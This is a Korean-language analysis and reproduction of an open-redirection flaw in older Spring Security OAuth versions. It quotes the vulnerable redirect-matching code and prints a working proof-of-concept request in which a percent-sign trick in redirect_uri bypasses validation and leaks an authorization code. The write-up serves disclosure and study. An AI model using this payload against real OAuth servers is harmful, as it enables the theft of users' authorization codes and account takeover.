
Spring Security OAuth 2.3 Open Redirection 분석 및 재현
Spring Security OAuth 2.3 Open Redirection 분석 및 재현 편
Spring Security OAuth 2.3 (2.3.6 미만), 2.2 (2.2.5 미만), 2.1 (2.1.5 미만), 2.0 (2.0.18 미만) 및 지원이 중단된 구버전은 인증 코드를 유출할 수 있는 오픈 리디렉션 공격에 취약합니다. 악의적인 사용자 또는 공격자는 인증 코드 부여 유형을 사용하여 인증 엔드포인트에 요청을 구성하고, redirect_uri 매개변수를 통해 조작된 리디렉션 URI를 지정할 수 있습니다. 이로 인해 인증 서버는 리소스 소유자의 사용자 에이전트를 공격자가 제어하는 URI로 리디렉션하여 유출된 인증 코드를 전달할 수 있습니다.
#취약점: REDIRECT_URI 매개변수를 조작함으로써 공격자는 실제로 검증을 우회할 수 있습니다.
취약점을 유발하는 코드는 org.springframework.security.oauth2.provider.endpoint 패키지에 있습니다. 클래스: DefaultRedirectResolver, 메서드 obtainMatchingRedirect는 적절한 위생 처리를 수행하지 않습니다.
/** * Attempt to match one of the registered URIs to the that of the requested one. * * @param redirectUris the set of the registered URIs to try and find a match. This cannot be null or empty. * @param requestedRedirect the URI used as part of the request * @return the matching URI * @throws RedirectMismatchException if no match was found */ private String obtainMatchingRedirect(Set redirectUris, String requestedRedirect) { Assert.notEmpty(redirectUris, "Redirect URIs cannot be empty");
if (redirectUris.size() == 1 && requestedRedirect == null) {
return redirectUris.iterator().next();
}
for (String redirectUri : redirectUris) {
if (requestedRedirect != null && redirectMatches(requestedRedirect, redirectUri)) {
return requestedRedirect;
}
}
throw new RedirectMismatchException("Invalid redirect: " + requestedRedirect
+ " does not match one of the registered values: " + redirectUris.toString());
}
#POC 공격 벡터 사용자가 로그인한 후 클라이언트 앱에서 수행하는 다음 요청에는 REDIRECT_URI 매개변수가 포함됩니다. 검증은 간단히 퍼센트 기호를 추가하여 우회되며, RedirectMismatchException 오류 대신 리디렉션이 실행됩니다.
유효한 URI를 포함한 원래 요청: GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login/oauth2/code/ HTTP/1.1
공격자는 URI를 완전히 다른 서버로 변경하고 퍼센트 기호를 추가하여 애플리케이션을 속입니다. 예를 들어:
GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:9000/login/oauth2/code/ HTTP/1.1 Host: localhost:8085 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8085/auth/login Connection: close Cookie: JSESSIONID=3394FD89204BE407CB585881755C0828; JSESSIONID=C0F1D5A2F1944DCB43F2BFFA416B7A63 Upgrade-Insecure-Requests: 1
응답은 예상된 OAUTH 오류를 발생시키지 않고 사용자를 리디렉션합니다:
HTTP/1.1 302 Cache-Control: no-store X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Location: http://localhost:8086/login/oauth2/code/?code=4ecsea&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D Content-Language: en-US Content-Length: 0 Date: Mon, 17 Jun 2019 11:06:18 GMT Connection: close